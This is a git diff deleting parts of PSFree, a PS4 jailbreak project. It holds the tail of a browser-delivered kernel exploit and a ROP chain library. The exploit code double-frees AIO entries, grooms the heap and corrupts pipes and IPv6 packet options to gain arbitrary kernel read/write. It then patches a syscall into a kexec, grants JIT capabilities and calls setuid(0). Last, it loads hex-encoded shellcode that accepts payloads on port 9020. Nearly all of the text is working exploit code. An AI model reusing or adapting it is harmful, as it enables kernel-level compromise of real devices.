-        copyin(src, dst, len) {
-            this._verify_len(len);
-            const main = this.main_sd;
-            const worker = this.worker_sd;
-            const addr_buf = this.addr_buf;
-            const data_buf = this.data_buf;
-
-            addr_buf.write64(0, this.pipe_addr);
-            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
-
-            data_buf.write64(0, 0);
-            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);
-
-            addr_buf.write64(0, this.pipe_addr2);
-            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
-
-            addr_buf.write64(0, dst);
-            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
-
-            sysi('write', this.wpipe, src, len);
-        }
-
-        copyout(src, dst, len) {
-            this._verify_len(len);
-            const main = this.main_sd;
-            const worker = this.worker_sd;
-            const addr_buf = this.addr_buf;
-            const data_buf = this.data_buf;
-
-            addr_buf.write64(0, this.pipe_addr);
-            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
-
-            data_buf.write32(0, 0x40000000);
-            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);
-
-            addr_buf.write64(0, this.pipe_addr2);
-            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
-
-            addr_buf.write64(0, src);
-            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);
-
-            sysi('read', this.rpipe, dst, len);
-        }
-
-        _read(addr) {
-            const buf = this.rw_buf;
-            buf.write64(0, addr);
-            buf.fill(0, 8);
-            ssockopt(this.main_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
-            gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
-        }
-
-        read32(addr) {
-            this._read(addr);
-            return this.rw_buf.read32(0);
-        }
-
-        read64(addr) {
-            this._read(addr);
-            return this.rw_buf.read64(0);
-        }
-
-        write32(addr, value) {
-            this.rw_buf.write32(0, value);
-            this.copyin(this.rw_buf.addr, addr, 4);
-        }
-
-        write64(addr, value) {
-            this.rw_buf.write64(0, value);
-            this.copyin(this.rw_buf.addr, addr, 8);
-        }
-    }
-    const kmem = new KernelMemory(main_sd, worker_sd, pipes, kpipe);
-
-    const kstr3_buf = new Buffer(8);
-    kmem.copyout(kernel_addr, kstr3_buf.addr, kstr3_buf.size);
-    const kstr3 = jstr(kstr3_buf);
-    log(`*(&"evf cv"): ${kstr3}`);
-    if (kstr3 !== 'evf cv') {
-        die('pipe read failed');
-    }
-    log('achieved arbitrary kernel read/write');
-
-    // RESTORE: clean corrupt pointer
-     // pktopts.ip6po_rthdr = NULL
-     //ABC Patch
-     const off_ip6po_rthdr = 0x68;
-     const r_rthdr_p = r_pktopts.add(off_ip6po_rthdr);
-     const w_rthdr_p = w_pktopts.add(off_ip6po_rthdr);
-     kmem.write64(r_rthdr_p, 0);
-     kmem.write64(w_rthdr_p, 0);
-     log('corrupt pointers cleaned');
-
-    /*
-    // REMOVE once restore kernel is ready for production
-    // increase the ref counts to prevent deallocation
-    kmem.write32(main_sock, kmem.read32(main_sock) + 1);
-    kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
-    // +2 since we have to take into account the fget_write()'s reference
-    kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);*/
-    
-    return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
-}
-
-// FUNCTIONS FOR STAGE: PATCH KERNEL
-
-async function get_patches(url) {
-    const response = await fetch(url);
-    if (!response.ok) {
-        throw Error(
-            `Network response was not OK, status: ${response.status}\n`
-            + `failed to fetch: ${url}`);
-    }
-    return response.arrayBuffer();
-}
-
-// 9.00 supported only
-async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
-    if (!is_ps4) {
-        throw RangeError('PS5 kernel patching unsupported');
-    }
-    if (!(0x800 <= version < 0x900)) {
-        throw RangeError('kernel patching unsupported');
-    }
-
-    log('change sys_aio_submit() to sys_kexec()');
-    // sysent[661] is unimplemented so free for use
-    const offset_sysent_661 = 0x1107f00;
-    const sysent_661 = kbase.add(offset_sysent_661);
-    // .sy_narg = 6
-    kmem.write32(sysent_661, 6);
-    // .sy_call = gadgets['jmp qword ptr [rsi]']
-    kmem.write64(sysent_661.add(8), kbase.add(0x4c7ad));
-    // .sy_thrcnt = SY_THR_STATIC
-    kmem.write32(sysent_661.add(0x2c), 1);
-
-    log('add JIT capabilities');
-    // TODO just set the bits for JIT privs
-    // cr_sceCaps[0]
-    kmem.write64(p_ucred.add(0x60), -1);
-    // cr_sceCaps[1]
-    kmem.write64(p_ucred.add(0x68), -1);
-
-    const buf = await get_patches('./kpatch/900.elf');
-    // FIXME handle .bss segment properly
-    // assume start of loadable segments is at offset 0x1000
-    const patches = new View1(await buf, 0x1000);
-    let map_size = patches.size;
-    const max_size = 0x10000000;
-    if (map_size > max_size) {
-        die(`patch file too large (>${max_size}): ${map_size}`);
-    }
-    if (map_size === 0) {
-        die('patch file size is zero');
-    }
-    map_size = map_size+page_size & -page_size;
-
-    const prot_rwx = 7;
-    const prot_rx = 5;
-    const prot_rw = 3;
-    const exec_p = new Int(0, 9);
-    const write_p = new Int(max_size, 9);
-    const exec_fd = sysi('jitshm_create', 0, map_size, prot_rwx);
-    const write_fd = sysi('jitshm_alias', exec_fd, prot_rw);
-
-    const exec_addr = chain.sysp(
-        'mmap',
-        exec_p,
-        map_size,
-        prot_rx,
-        MAP_SHARED|MAP_FIXED,
-        exec_fd,
-        0,
-    );
-    const write_addr = chain.sysp(
-        'mmap',
-        write_p,
-        map_size,
-        prot_rw,
-        MAP_SHARED|MAP_FIXED,
-        write_fd,
-        0,
-    );
-
-    log(`exec_addr: ${exec_addr}`);
-    log(`write_addr: ${write_addr}`);
-    if (exec_addr.ne(exec_p) || write_addr.ne(write_p)) {
-        die('mmap() for jit failed');
-    }
-
-    log('mlock exec_addr for kernel exec');
-    sysi('mlock', exec_addr, map_size);
-
-    // mov eax, 0x1337; ret (0xc300_0013_37b8)
-    const test_code = new Int(0x001337b8, 0xc300);
-    write_addr.write64(0, test_code);
-
-    log('test jit exec');
-    sys_void('kexec', exec_addr);
-    let retval = chain.errno;
-    log('returned successfully');
-
-    log(`jit retval: ${retval}`);
-    if (retval !== 0x1337) {
-        die('test jit exec failed');
-    }
-
-    const pipe_save = restore_info[1];
-    restore_info[1] = pipe_save.addr;
-    log('mlock pipe save data for kernel restore');
-    sysi('mlock', restore_info[1], page_size);
-
-    mem.cpy(write_addr, patches.addr, patches.size);
-    sys_void('kexec', exec_addr, ...restore_info);
-
-    log('setuid(0)');
-    sysi('setuid', 0);
-    log('kernel exploit succeeded!');
-    localStorage.ExploitLoaded="yes"
-    sessionStorage.ExploitLoaded="yes"
-    //alert("kernel exploit succeeded!");
-}
-
-
-
-// FUNCTIONS FOR STAGE: SETUP
-
-function setup(block_fd) {
-    // this part will block the worker threads from processing entries so that
-    // we may cancel them instead. this is to work around the fact that
-    // aio_worker_entry2() will fdrop() the file associated with the aio_entry
-    // on ps5. we want aio_multi_delete() to call fdrop()
-    log('block AIO');
-    const reqs1 = new Buffer(0x28 * num_workers);
-    const block_id = new Word();
-
-    for (let i = 0; i < num_workers; i++) {
-        reqs1.write32(8 + i*0x28, 1);
-        reqs1.write32(0x20 + i*0x28, block_fd);
-    }
-    aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);
-
-    {
-        const reqs1 = make_reqs1(1);
-        const timo = new Word(1);
-        const id = new Word();
-        aio_submit_cmd(AIO_CMD_READ, reqs1.addr, 1, id.addr);
-        chain.do_syscall_clear_errno(
-            'aio_multi_wait', id.addr, 1, _aio_errors_p, 1, timo.addr);
-        const err = chain.errno;
-        if (err !== 60) { // ETIMEDOUT
-            die(`SceAIO system not blocked. errno: ${err}`);
-        }
-        free_aios(id.addr, 1);
-    }
-
-    log('heap grooming');
-    // chosen to maximize the number of 0x80 malloc allocs per submission
-    const num_reqs = 3;
-    const groom_ids = new View4(num_grooms);
-    const groom_ids_p = groom_ids.addr;
-    const greqs = make_reqs1(num_reqs);
-    // allocate enough so that we start allocating from a newly created slab
-    spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
-    cancel_aios(groom_ids_p, num_grooms);        
-    return [block_id, groom_ids];
-}
-
-function runBinLoader() {
-    var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
-    var payload_loader = malloc32(0x1000);
-    var BLDR = payload_loader.backing;
-    BLDR[0]  = 0x56415741;  BLDR[1]  = 0x83485541;  BLDR[2]  = 0x894818EC;
-    BLDR[3]  = 0xC748243C;  BLDR[4]  = 0x10082444;  BLDR[5]  = 0x483C2302;
-    BLDR[6]  = 0x102444C7;  BLDR[7]  = 0x00000000;  BLDR[8]  = 0x000002BF;
-    BLDR[9]  = 0x0001BE00;  BLDR[10] = 0xD2310000;  BLDR[11] = 0x00009CE8;
-    BLDR[12] = 0xC7894100;  BLDR[13] = 0x8D48C789;  BLDR[14] = 0xBA082474;
-    BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8;  BLDR[17] = 0xFF894400;
-    BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800;  BLDR[20] = 0x89440000;
-    BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2;  BLDR[23] = 0x89410000;
-    BLDR[24] = 0x2C8B4CC6;  BLDR[25] = 0x45C64124;  BLDR[26] = 0x05EBC300;
-    BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C;
-    BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500;
-    BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400;
-    BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348;
-    BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0;
-    BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F;
-    BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA;
-    BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89;
-    BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949;
-    BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900;
-    BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000;
-    BLDR[60] = 0xC3050FCA;
-
-    chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4));
-
-    var pthread = malloc(0x10);
-    sysi('mlock', payload_buffer, 0x300000);
-
-    call_nze(
-        'pthread_create',
-        pthread,
-        0,
-        payload_loader,
-        payload_buffer
-    );
-
-    log('GoldHEN Already Loaded, BinLoader Is Ready. Send A Payload To Port 9020 Now');
-}
-
-// overview:
-// * double free a aio_entry (resides at a 0x80 malloc zone)
-// * type confuse a evf and a ip6_rthdr
-// * use evf/rthdr to read out the contents of the 0x80 malloc zone
-// * leak a address in the 0x100 malloc zone
-// * write the leaked address to a aio_entry
-// * double free the leaked address
-// * corrupt a ip6_pktopts for restricted r/w
-// * corrupt a pipe for arbitrary r/w
-//
-// the exploit implementation also assumes that we are pinned to one core
-export async function kexploit() {
-    const _init_t1 = performance.now();
-    await init();
-    const _init_t2 = performance.now();
-
-    try {
-       chain.sys('setuid', 0);
-    } catch (e) {
-        localStorage.ExploitLoaded = "no";
-    }
-    
-    if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded!="yes") {
-            runBinLoader();
-            return new Promise(() => {});
-    }
-
-    // If setuid is successful, we dont need to run the kexploit again
-    try {
-        if (sysi('setuid', 0) == 0) {
-            log("Not running kexploit again.")
-            return;
-        }
-    }
-    catch (e) {}
-
-    // fun fact:
-    // if the first thing you do since boot is run the web browser, WebKit can
-    // use all the cores
-    const main_mask = new Long();
-    get_our_affinity(main_mask);
-    log(`main_mask: ${main_mask}`);
-
-    // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap
-    // spraying and grooming easier
-    log(`pinning process to core #${main_core}`);
-    set_our_affinity(new Long(1 << main_core));
-    get_our_affinity(main_mask);
-    log(`main_mask: ${main_mask}`);
-
-    log("setting main thread's priority");
-    sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);
-
-    const [block_fd, unblock_fd] = (() => {
-        const unix_pair = new View4(2);
-        sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr);
-        return unix_pair;
-    })();
-
-    const sds = [];
-    for (let i = 0; i < num_sds; i++) {
-        sds.push(new_socket());
-    }
-
-    let block_id = null;
-    let groom_ids = null;
-    try {
-        log('STAGE: Setup');
-        [block_id, groom_ids] = setup(block_fd);
-
-        log('\nSTAGE: Double free AIO queue entry');
-        const sd_pair = double_free_reqs2(sds);
-
-        log('\nSTAGE: Leak kernel addresses');
-        const [
-            reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
-        ] = leak_kernel_addrs(sd_pair);
-
-        log('\nSTAGE: Double free SceKernelAioRWRequest');
-        const [pktopts_sds, dirty_sd] = double_free_reqs1(
-            reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
-        );
-
-        log('\nSTAGE: Get arbitrary kernel read/write');
-        const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
-            pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);
-
-        log('\nSTAGE: Patch kernel');
-        await patch_kernel(kbase, kmem, p_ucred, restore_info);
-        
-    } finally {
-        close(unblock_fd);
-
-        const t2 = performance.now();
-        const ftime = t2 - t1;
-        const init_time = _init_t2 - _init_t1;
-        log('\ntime (include init): ' + (ftime) / 1000);
-        log('kex time: ' + (t2 - _init_t2) / 1000);
-        log('init time: ' + (init_time) / 1000);
-        log('time to init: ' + (_init_t1 - t1) / 1000);
-        log('time - init time: ' + (ftime - init_time) / 1000);
-    }
-    close(block_fd);
-    free_aios2(groom_ids.addr, groom_ids.length);
-    aio_multi_wait(block_id.addr, 1);
-    aio_multi_delete(block_id.addr, block_id.length);
-    for (const sd of sds) {
-        close(sd);
-    }
-}
-
-function malloc(sz) {
-        var backing = new Uint8Array(0x10000 + sz);
-        nogc.push(backing);
-        var ptr = mem.readp(mem.addrof(backing).add(0x10));
-        ptr.backing = backing;
-        return ptr;
-    }
-
-    function malloc32(sz) {
-        var backing = new Uint8Array(0x10000 + sz * 4);
-        nogc.push(backing);
-        var ptr = mem.readp(mem.addrof(backing).add(0x10));
-        ptr.backing = new Uint32Array(backing.buffer);
-        return ptr;
-    }
-
-
-kexploit().then(() => {
-    
-    window.pld_size = new Int(0x26200000, 0x9);
-
-    var payload_buffer = chain.sysp('mmap', window.pld_size, 0x300000, 7, 0x41000, -1, 0);
-    var payload = window.pld;
-    var bufLen = payload.length * 4
-    var payload_loader = malloc32(bufLen);
-    var loader_writer = payload_loader.backing;
-    for (var i = 0; i < payload.length; i++) {
-        loader_writer[i] = payload[i];
-    }
-    chain.sys('mprotect', payload_loader, bufLen, (0x1 | 0x2 | 0x4));
-    var pthread = malloc(0x10);
-
-    call_nze(
-        'pthread_create',
-        pthread,
-        0,
-        payload_loader,
-        payload_buffer,
-    );
-
-
-    
-
-
-})
diff --git a/psfree/module/chain.mjs b/psfree/module/chain.mjs
deleted file mode 100644
index 3116482..0000000
--- a/psfree/module/chain.mjs
+++ /dev/null
@@ -1,581 +0,0 @@
-/* Copyright (C) 2023-2025 anonymous
-
-This file is part of PSFree.
-
-PSFree is free software: you can redistribute it and/or modify
-it under the terms of the GNU Affero General Public License as
-published by the Free Software Foundation, either version 3 of the
-License, or (at your option) any later version.
-
-PSFree is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Affero General Public License for more details.
-
-You should have received a copy of the GNU Affero General Public License
-along with this program.  If not, see .  */
-
-import { Int, lohi_from_one } from './int64.mjs';
-import { get_view_vector } from './memtools.mjs';
-import { Addr } from './mem.mjs';
-import * as config from '../config.mjs';
-
-// put the sycall names that you want to use here
-export const syscall_map = new Map(Object.entries({
-    'read' : 3,
-    'write' : 4,
-    'open' : 5,
-    'close' : 6,
-    'getpid' : 20,
-    'setuid' : 23,
-    'getuid' : 24,
-    'accept' : 30,
-    'pipe' : 42,
-    'ioctl' : 54,
-    'munmap' : 73,
-    'mprotect' : 74,
-    'fcntl' : 92,
-    'socket' : 97,
-    'connect' : 98,
-    'bind' : 104,
-    'setsockopt' : 105,
-    'listen' : 106,
-    'getsockopt' : 118,
-    'fchmod' : 124,
-    'socketpair' : 135,
-    'fstat' : 189,
-    'getdirentries' : 196,
-    '__sysctl' : 202,
-    'mlock' : 203,
-    'clock_gettime' : 232,
-    'nanosleep' : 240,
-    'sched_yield' : 331,
-    'kqueue' : 362,
-    'kevent' : 363,
-    'rtprio_thread' : 466,
-    'mmap' : 477,
-    'ftruncate' : 480,
-    'shm_open' : 482,
-    'cpuset_getaffinity' : 487,
-    'cpuset_setaffinity' : 488,
-    'jitshm_create' : 533,
-    'jitshm_alias' : 534,
-    'evf_create' : 538,
-    'evf_delete' : 539,
-    'evf_set' : 544,
-    'evf_clear' : 545,
-    'set_vm_container' : 559,
-    'dmem_container' : 586,
-    'dynlib_dlsym' : 591,
-    'dynlib_get_list' : 592,
-    'dynlib_get_info' : 593,
-    'dynlib_load_prx' : 594,
-    'randomized_path' : 602,
-    'budget_get_ptype' : 610,
-    'thr_suspend_ucontext' : 632,
-    'thr_resume_ucontext' : 633,
-    'blockpool_open' : 653,
-    'blockpool_map' : 654,
-    'blockpool_unmap' : 655,
-    'blockpool_batch' : 657,
-    // syscall 661 is unimplemented so free for use. a kernel exploit will
-    // install "kexec" here
-    'aio_submit' : 661,
-    'kexec' : 661,
-    'aio_multi_delete' : 662,
-    'aio_multi_wait' : 663,
-    'aio_multi_poll' : 664,
-    'aio_multi_cancel' : 666,
-    'aio_submit_cmd' : 669,
-    'blockpool_move' : 673,
-}));
-
-const argument_pops = [
-    'pop rdi; ret',
-    'pop rsi; ret',
-    'pop rdx; ret',
-    'pop rcx; ret',
-    'pop r8; ret',
-    'pop r9; ret',
-];
-
-// implementations are expected to have these gadgets:
-// * libSceLibcInternal:
-//   * __errno - FreeBSD's function to get the location of errno
-//   * setcontext - what we call Sony's own version of _Ux86_64_setcontext
-//   * getcontext - what we call Sony's own version of _Ux86_64_getcontext
-// * anywhere:
-//   * the gadgets at argument_pops
-//   * ret
-//
-// setcontext/getcontext naming came from this project:
-// https://github.com/libunwind/libunwind
-//
-// setcontext(context *ctx):
-//     mov     rax, qword [rdi + 0x38]
-//     sub     rax, 0x10 ; 16
-//     mov     qword [rdi + 0x38], rax
-//     mov     rbx, qword [rdi + 0x20]
-//     mov     qword [rax], rbx
-//     mov     rbx, qword [rdi + 0x80]
-//     mov     qword [rax + 8], rbx
-//     mov     rax, qword [rdi]
-//     mov     rbx, qword [rdi + 8]
-//     mov     rcx, qword [rdi + 0x10]
-//     mov     rdx, qword [rdi + 0x18]
-//     mov     rsi, qword [rdi + 0x28]
-//     mov     rbp, qword [rdi + 0x30]
-//     mov     r8, qword [rdi + 0x40]
-//     mov     r9, qword [rdi + 0x48]
-//     mov     r10, qword [rdi + 0x50]
-//     mov     r11, qword [rdi + 0x58]
-//     mov     r12, qword [rdi + 0x60]
-//     mov     r13, qword [rdi + 0x68]
-//     mov     r14, qword [rdi + 0x70]
-//     mov     r15, qword [rdi + 0x78]
-//     cmp     qword [rdi + 0xb0], 0x20001
-//     jne     done
-//     cmp     qword [rdi + 0xb8], 0x10002
-//     jne     done
-//     fxrstor [rdi + 0xc0]
-// done:
-//     mov     rsp, qword [rdi + 0x38]
-//     pop     rdi
-//     ret
-//
-//  getcontext(context *ctx):
-//     mov     qword [rdi], rax
-//     mov     qword [rdi + 8], rbx
-//     mov     qword [rdi + 0x10], rcx
-//     mov     qword [rdi + 0x18], rdx
-//     mov     qword [rdi + 0x20], rdi
-//     mov     qword [rdi + 0x28], rsi
-//     mov     qword [rdi + 0x30], rbp
-//     mov     qword [rdi + 0x38], rsp
-//     add     qword [rdi + 0x38], 8
-//     mov     qword [rdi + 0x40], r8
-//     mov     qword [rdi + 0x48], r9
-//     mov     qword [rdi + 0x50], r10
-//     mov     qword [rdi + 0x58], r11
-//     mov     qword [rdi + 0x60], r12
-//     mov     qword [rdi + 0x68], r13
-//     mov     qword [rdi + 0x70], r14
-//     mov     qword [rdi + 0x78], r15
-//     mov     rsi, qword [rsp]
-//     mov     qword [rdi + 0x80], rsi
-//     fxsave  [rdi + 0xc0]
-//     mov     qword [rdi + 0xb0], 0x20001
-//     mov     qword [rdi + 0xb8], 0x10002
-//     xor     eax, eax
-//     ret
-
-// ROP chain manager base class
-//
-// Args:
-//   stack_size: the size of the stack
-//   upper_pad: the amount of extra space above stack
-export class ChainBase {
-    constructor(stack_size=0x1000, upper_pad=0x10000) {
-        this._is_dirty = false;
-        this.position = 0;
-
-        const return_value = new Uint32Array(4);
-        this._return_value = return_value;
-        this.retval_addr = get_view_vector(return_value);
-
-        const errno = new Uint32Array(1);
-        this._errno = errno;
-        this.errno_addr = get_view_vector(errno);
-
-        const full_stack_size = upper_pad + stack_size;
-        const stack_buffer = new ArrayBuffer(full_stack_size);
-        const stack = new DataView(stack_buffer, upper_pad);
-        this.stack = stack;
-        this.stack_addr = get_view_vector(stack);
-        this.stack_size = stack_size;
-        this.full_stack_size = full_stack_size;
-    }
-
-    // use this if you want to write a new ROP chain but don't want to allocate
-    // a new instance
-    empty() {
-        this.position = 0;
-    }
-
-    // flag indicating whether .run() was ever called with this chain
-    get is_dirty() {
-        return this._is_dirty;
-    }
-
-    clean() {
-        this._is_dirty = false;
-    }
-
-    dirty() {
-        this._is_dirty = true;
-    }
-
-    check_allow_run() {
-        if (this.position === 0) {
-            throw Error('chain is empty');
-        }
-        if (this.is_dirty) {
-            throw Error('chain already ran, clean it first');
-        }
-    }
-
-    reset() {
-        this.empty();
-        this.clean();
-    }
-
-    get retval_int() {
-        return this._return_value[0] | 0;
-    }
-
-    get retval() {
-        return new Int(this._return_value[0], this._return_value[1]);
-    }
-
-    // return value as a pointer
-    get retval_ptr() {
-        return new Addr(this._return_value[0], this._return_value[1]);
-    }
-
-    set retval(value) {
-        const values = lohi_from_one(value);
-        const retval = this._return_value;
-        retval[0] = values[0];
-        retval[1] = values[1];
-    }
-
-    get retval_all() {
-        const retval = this._return_value;
-        return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])];
-    }
-
-    set retval_all(values) {
-        const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])];
-        const retval = this._return_value;
-        retval[0] = a[0];
-        retval[1] = a[1];
-        retval[2] = b[0];
-        retval[3] = b[1];
-    }
-
-    get errno() {
-        return this._errno[0];
-    }
-
-    set errno(value) {
-        this._errno[0] = value;
-    }
-
-    push_value(value) {
-        const position = this.position;
-        if (position >= this.stack_size) {
-            throw Error(`no more space on the stack, pushed value: ${value}`);
-        }
-
-        const values = lohi_from_one(value);
-        const stack = this.stack;
-        stack.setUint32(position, values[0], true);
-        stack.setUint32(position + 4, values[1], true);
-
-        this.position += 8;
-    }
-
-    get_gadget(insn_str) {
-        const addr = this.gadgets.get(insn_str);
-        if (addr === undefined) {
-            throw Error(`gadget not found: ${insn_str}`);
-        }
-
-        return addr;
-    }
-
-    push_gadget(insn_str) {
-        this.push_value(this.get_gadget(insn_str));
-    }
-
-    push_call(func_addr, ...args) {
-        if (args.length > 6) {
-            throw TypeError(
-                'push_call() does not support functions that have more than 6'
-                + ' arguments');
-        }
-
-        for (let i = 0; i < args.length; i++) {
-            this.push_gadget(argument_pops[i]);
-            this.push_value(args[i]);
-        }
-
-        // The address of our buffer seems to be always aligned to 8 bytes.
-        // SysV calling convention requires the stack is aligned to 16 bytes on
-        // function entry, so push an additional 8 bytes to pad the stack. We
-        // pushed a "ret" gadget for a noop.
-        if ((this.position & (0x10 - 1)) !== 0) {
-            this.push_gadget('ret');
-        }
-
-        if (typeof func_addr === 'string') {
-            this.push_gadget(func_addr);
-        } else {
-            this.push_value(func_addr);
-        }
-    }
-
-    push_syscall(syscall_name, ...args) {
-        if (typeof syscall_name !== 'string') {
-            throw TypeError(`syscall_name not a string: ${syscall_name}`);
-        }
-
-        const sysno = syscall_map.get(syscall_name);
-        if (sysno === undefined) {
-            throw Error(`syscall_name not found: ${syscall_name}`);
-        }
-
-        const syscall_addr = this.syscall_array[sysno];
-        if (syscall_addr === undefined) {
-            throw Error(`syscall number not in syscall_array: ${sysno}`);
-        }
-
-        this.push_call(syscall_addr, ...args);
-    }
-
-    // Sets needed class properties
-    //
-    // Args:
-    //   gadgets:
-    //     A Map-like object mapping instruction strings (e.g. "pop rax; ret")
-    //     to their addresses in memory.
-    //   syscall_array:
-    //     An array whose indices correspond to syscall numbers. Maps syscall
-    //     numbers to their addresses in memory. Defaults to an empty Array.
-    static init_class(gadgets, syscall_array=[]) {
-        this.prototype.gadgets = gadgets;
-        this.prototype.syscall_array = syscall_array;
-    }
-
-    // START: implementation-dependent parts
-    //
-    // the user doesn't need to implement all of these. just the ones they need
-
-    // Firmware specific method to launch a ROP chain
-    //
-    // Proper implementations will check if .position is nonzero before
-    // running. Implementations can optionally check .is_dirty to enforce
-    // single-run gadget sequences
-    run() {
-        throw Error('not implemented');
-    }
-
-    // anything you need to do before the ROP chain jumps back to JavaScript
-    push_end() {
-        throw Error('not implemented');
-    }
-
-    push_get_errno() {
-        throw Error('not implemented');
-    }
-
-    push_clear_errno() {
-        throw Error('not implemented'); 
-    }
-
-    // get the rax register
-    push_get_retval() {
-        throw Error('not implemented');
-    }
-
-    // get the rax and rdx registers
-    push_get_retval_all() {
-        throw Error('not implemented');
-    }
-
-    // END: implementation-dependent parts
-
-    // note that later firmwares (starting around > 5.00?), the browser doesn't
-    // have a JIT compiler. we programmed in a way that tries to make the
-    // resulting bytecode be optimal
-    //
-    // we intentionally have an incomplete set (there's no function to get a
-    // full 128-bit result). we only implemented what we think are the common
-    // cases. the user will have to implement those other functions if they
-    // need it
-
-    do_call(...args) {
-        if (this.position) {
-            throw Error('chain not empty');
-        }
-        try {
-            this.push_call(...args);
-            this.push_get_retval();
-            this.push_get_errno();
-            this.push_end();
-            this.run();
-        } finally {
-            this.reset();
-        }
-    }
-
-    call_void(...args) {
-        this.do_call(...args);
-    }
-
-    call_int(...args) {
-        this.do_call(...args);
-        // x | 0 will always be a signed integer
-        return this._return_value[0] | 0;
-    }
-
-    call(...args) {
-        this.do_call(...args);
-        const retval = this._return_value;
-        return new Int(retval[0], retval[1]);
-    }
-
-    do_syscall(...args) {
-        if (this.position) {
-            throw Error('chain not empty');
-        }
-        try {
-            this.push_syscall(...args);
-            this.push_get_retval();
-            this.push_get_errno();
-            this.push_end();
-            this.run();
-        } finally {
-            this.reset();
-        }
-    }
-
-    syscall_void(...args) {
-        this.do_syscall(...args);
-    }
-
-    syscall_int(...args) {
-        this.do_syscall(...args);
-        // x | 0 will always be a signed integer
-        return this._return_value[0] | 0;
-    }
-
-    syscall(...args) {
-        this.do_syscall(...args);
-        const retval = this._return_value;
-        return new Int(retval[0], retval[1]);
-    }
-
-    syscall_ptr(...args) {
-        this.do_syscall(...args);
-        const retval = this._return_value;
-        return new Addr(retval[0], retval[1]);
-    }
-
-    // syscall variants that throw an error on errno
-
-    do_syscall_clear_errno(...args) {
-        if (this.position) {
-            throw Error('chain not empty');
-        }
-        try {
-            this.push_clear_errno();
-            this.push_syscall(...args);
-            this.push_get_retval();
-            this.push_get_errno();
-            this.push_end();
-            this.run();
-        } finally {
-            this.reset();
-        }
-    }
-
-    sysi(...args) {
-        const errno = this._errno;
-        this.do_syscall_clear_errno(...args);
-
-        const err = errno[0];
-        if (err !== 0) {
-            throw Error(`syscall(${args[0]}) errno: ${err}`);
-        }
-
-        // x | 0 will always be a signed integer
-        return this._return_value[0] | 0;
-    }
-
-    sys(...args) {
-        const errno = this._errno;
-        this.do_syscall_clear_errno(...args);
-
-        const err = errno[0];
-        if (err !== 0) {
-            throw Error(`syscall(${args[0]}) errno: ${err}`);
-        }
-
-        const retval = this._return_value;
-        return new Int(retval[0], retval[1]);
-    }
-
-    sysp(...args) {
-        const errno = this._errno;
-        this.do_syscall_clear_errno(...args);
-
-        const err = errno[0];
-        if (err !== 0) {
-            throw Error(`syscall(${args[0]}) errno: ${err}`);
-        }
-
-        const retval = this._return_value;
-        return new Addr(retval[0], retval[1]);
-    }
-
-}
-
-export function get_gadget(map, insn_str) {
-    const addr = map.get(insn_str);
-    if (addr === undefined) {
-        throw Error(`gadget not found: ${insn_str}`);
-    }
-
-    return addr;
-}
-
-function load_fw_specific(version) {
-    if (version & 0x10000) {
-        throw RangeError('ps5 not supported yet');
-    }
-
-    const value = version & 0xffff;
-    // we don't want to bother with very old firmwares that don't support
-    // ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
-    // which can be annoying to deal with
-    if (value < 0x700) {
-        throw RangeError("PS4 firmwares < 7.00 isn't supported");
-    }
-
-    if (0x800 <= value && value <= 0x900) {
-        return import('../rop/900.mjs');
-    }
-
-    throw RangeError('firmware not supported');
-}
-
-export let gadgets = null;
-export let libwebkit_base = null;
-export let libkernel_base = null;
-export let libc_base = null;
-export let init_gadget_map = null;
-export let Chain = null;
-
-export async function init() {
